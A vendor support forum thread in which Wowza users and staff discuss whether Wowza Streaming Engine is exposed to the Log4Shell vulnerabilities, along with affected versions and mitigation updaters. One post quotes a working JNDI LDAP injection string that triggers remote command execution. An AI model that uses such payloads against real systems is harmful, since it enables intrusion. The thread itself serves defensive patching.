Hi,
I’m sure you’ve read the news by now, there’s a zeroday under active exploitation for log4j using JNDI to load remote execution through LDAP.
Could you please give an update how this relates to wowza and what steps need to be taken, if any.
Does this only relate to default port 8084 or is the RCE more widespread?
What wowza versions are in relation to JDK versions greater than 6u211 , 7u201 , 8u191 , and 11.0.1?
Thanks in advance
I have submitted a ticket on this as well. I haven’t been able to find a clear answer.
It looks like Wowza 4.7.8 brought in Tomcat 9.0 as the servlet container for Wowza Streaming Engine Manager which uses log4j 2.x.
It looks like log4j-1.2.17 is used more widely in this, prior, and newer versions of Wowza.
Affected Apache log4j Versions 2.0 <= Apache log4j <= 2.14.1
Thank you for contacting us and for your concern regarding this vulnerability. Our teams are aware and are actively reviewing the potential patch fix. As soon as we have further details I will provide them here.
Any update on this?
This is not something that can wait over the weekend.
We had to test it to make sure the recommended change did not affect anything else in Engine, I do have an update and am posting now @Juan_Navas! 
In our commitment to being your partner in streaming we are aware of the recently identified CVE-2021-44228 which relates to the 3rd party software Apache. We are actively reviewing the details of this CVE compared to our solutions to identify if there is indeed a threat to our customers. At this time we have not confirmed any threat.
However, in an effort to ensure your security, we are suggesting the following adjustments to Wowza Streaming Engine which can be found in our Knowledge Base
We take the security of our customer and our products as top priority. If you have any questions on how to implement these mitigation steps please do not hesitate to reach out to our Technical Support Team who are standing by to assist with any technical questions you may have. Thank you for your patience while we continue to review this serious matter and thank you for choosing Wowza!
UPDATE: Couple of other notes on the above:
Wowza Streaming Engine Manager uses log4j, but it loads the jar file from the main lib folder.
4.8.8.01 we updated to log4j2
So, if you follow the steps to make the changes in the main WSE/lib, you won’t need to repeat it for the WSE/manager/lib.
Thanks!
We had applied a patch to wms.sh systemd startup script to apply this as java parameter on our instances as a stopgap.
Good to hear simply replacing log4j2 jar has no further impact on the application.
Yes ,thank you for your patience as we looked very closely at this. We have so many customers with custom configurations, but we tried to test it all as soon as possible. If anyone still has concerns, PLEASE reach out to tech support in a ticket and we’ll address any issues you want to discuss.
Have a good weekend everyone!
Sorry… one additional question. We are running 4.8.5.05, and therefore do not have the two log4j files, this implementation only has log4j-1.2.17.jar. Replacing the one file with the two new files did not work for us. We rolled back that change, but still implemented the changes to the Tune.xml and startmgr.sh files. Is this adequate to mitigate the risk? Thanks in advance.
I confirmed with the engineers @Rich_Sokol that your version was not affected by CVE-2021-44228. and log4j2 and was only introduced in Engine versions 4.8.8.01 and newer up to 4.8.16
Hi There,
This analysis says the folowing:
To explain how easy this remote code execution hack is to perform try inputting this into a java app running log4j
$(jndi:ldap://127.0.0.1:1389/Basic/Command/start www.google.com)
Fortunately, this bug doesn’t affect all versions of Log4j it only affects the versions between 2.0 and 2.14.1 so if you have anything running that then switch versions now.
On my version of WowzaStreamingEngine-4.8.13 it shows the Log4j version as log4j-core-2.13.3, which falls in-between the alleged affected versions.
root@root:~# sudo find / -name 'log4j’
/usr/local/WowzaStreamingEngine-4.8.13+1/manager/conf/log4j.properties
/usr/local/WowzaStreamingEngine-4.8.13+1/manager/conf/log4j2-config.xml
/usr/local/WowzaStreamingEngine-4.8.13+1/manager/temp/webapps/enginemanager/WEB-INF/lib/log4j-api-2.13.3.jar
/usr/local/WowzaStreamingEngine-4.8.13+1/manager/temp/webapps/enginemanager/WEB-INF/lib/log4j-core-2.13.3.jar
/usr/local/WowzaStreamingEngine-4.8.13+1/conf/log4j.properties
/usr/local/WowzaStreamingEngine-4.8.13+1/conf/log4j2-config.xml
/usr/local/WowzaStreamingEngine-4.8.13+1/lib/log4j-api-2.13.3.jar
/usr/local/WowzaStreamingEngine-4.8.13+1/lib/log4j-core-2.13.3.jar
Can please you confirm if WowzaStreamingEngine-4.8.13 is vulnerable and log4j-core-2.13.3.jar falls in-between the vulnerable log4j versions?
Thank you.
Apache developers have release log4j version 2.16.0: https://lists.apache.org/thread/d6v4r6nosxysyq9rvnr779336yf0woz4 They improved their fixes against security hole due to more stability and security than 2.15.0. Can you confirm, that 2.16.0 can also be applied?
This would only occur if you used jms appender in your log4j config and have set the specific config outlined in your link,
Please read the link you have provided, it clearly states this:
Note this flaw ONLY affects applications which are specifically configured to use JMSAppender, which is not the default, or when the attacker has write access to the Log4j configuration for adding JMSAppender to the attacker’s JMS Broker.
If the Log4j configuration is set TopicBindingName or TopicConnectionFactoryBindingName configurations allowing JMSAppender to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-44228 Log4j 2.x, Log4j 1.x is vulnerable. However, the attack vector is reduced as it depends on having write access, which is not a standard configuration rather than untrusted user input. These are sufficient factors beyond the attacker’s control.
@DFN_VC we’ve just tested the new log4j 2.16 release in the same way we migrated to 2.15 previously and did not have any issues, maybe best to wait for official statement on this from @Rose_Power-Wowza_Com
UPDATE:
Given this is a new vulnerability, we are continuing to investigate our initial mitigation steps I shared above as the accepted solution.
.
Please know I will have more information later today and will post immediately.
I am running Wowza 4.7.3, do I need to perform the fix?
I cannot tell what version of log4j it is using.
UPDATE: This is the OFFICIAL WOWZA UPDATED THREAD for both Streaming Engine and Streaming Engine Manager. Please read this Post only for newest information.
Hello,
There is an update for you regarding CVE-2021-44228 and CVE-2021-45046. Both CVEs are related to the 3rd party software Apache log4j version 2.0.x -2.15.x included in the Wowza Streaming Engine installer and updater beginning with version 4.8.8.01.
Note: Prior versions (4.8.5.05 and below) of Wowza Streaming Engine are not related to the CVEs reported above.
To help mitigate this issue we are providing you an updater and instructions in the “Known Issues” page link below:
https://www.wowza.com/docs/known-issues-with-wowza-streaming-engine#log4j2-cve
We take the security of our customers and our products as a top priority. If you have any questions on how to implement these mitigation steps please do not hesitate to reply to this message.
FAQs
Q: I’ve applied the mitigation fix. How do I know if it works?
A: Wowza has verified after running the updater that there are no current issues when scanning the server. Replacing the files meet the required mitigation action needed according to Apache.
Q: I am running a version prior to 4.8.8.01. Do I need to do anything?
A: Prior versions of Wowza Streaming Engine (before 4.8.8.01) do not run Apache log4j version 2.x.x and are therefore not considered an issue with regard to CVE-2021-44228 or CVE-2021-45046
Q: I see Apache has released log4j version 2.16. Can I update to that version instead?
A: The provided updater we have linked to above includes the latest Apache log4j v2.16 version. We encourage you to use the updater as the files are located in more than one Wowza Streaming Engine directory.
Q: Do I have to update my Wowza Streaming Engine deployment?
A: No. This mitigation does not require you to update to a later version of Wowza Streaming Engine. The action required is to update the Apache log4j core and log4j api files via the provided updater.
Thank you for your patience as we addressed this serious matter and thank you for choosing Wowza!
ANOTHER UPDATE 12/16/21: ZIP COMMAND
For those of you asking about the zip command issue:
We’ve updated the scripts to fall back to the java version if zip isn’t installed, and we’ve also changed it to expect to be run from the [install-dir]/updates/log4juapdater folder if WSE isn’t in the default location or the WMSAPP_HOME env var isn’t set (this is the same as how our normal updaters work so it should be familiar).
You can can see the steps for this here:
https://www.wowza.com/docs/update-for-apache-log4j2-security-vulnerability
And it should look like this:
Extract the .zip file contents of the updater to a subdirectory in the [install-dir ]/updates directory, where [install-dir] is the install directory of Wowza Streaming Engine.
NEW UPDATE: 12/20/21
ATTN : The Streaming Engine updater uses the latest Apache Log4j v2.17 files. Wowza has verified after running the updater that there are no current issues when scanning the server and that it meets the required mitigation action according to Apache.
A new version of Engine is coming soon, but this situation keeps changing so please use the updater for now. I’ll keep you posted on the new Engine release and the latest info from Apache.
https://www.wowza.com/docs/update-for-apache-log4j2-security-vulnerability
Thanks for the updater, seems to work nicely.
I guess you are going to publish a new release/patch for the WSE as well? Right now the latest updater to v4.8.16+1 installs the vulnerable log4j version 2.13, so that I now had two versions of log4j in the lib folder…
© 2007–2024 Wowza Media Systems™, LLC. All rights reserved. Security & Privacy PolicyLegalSystem Status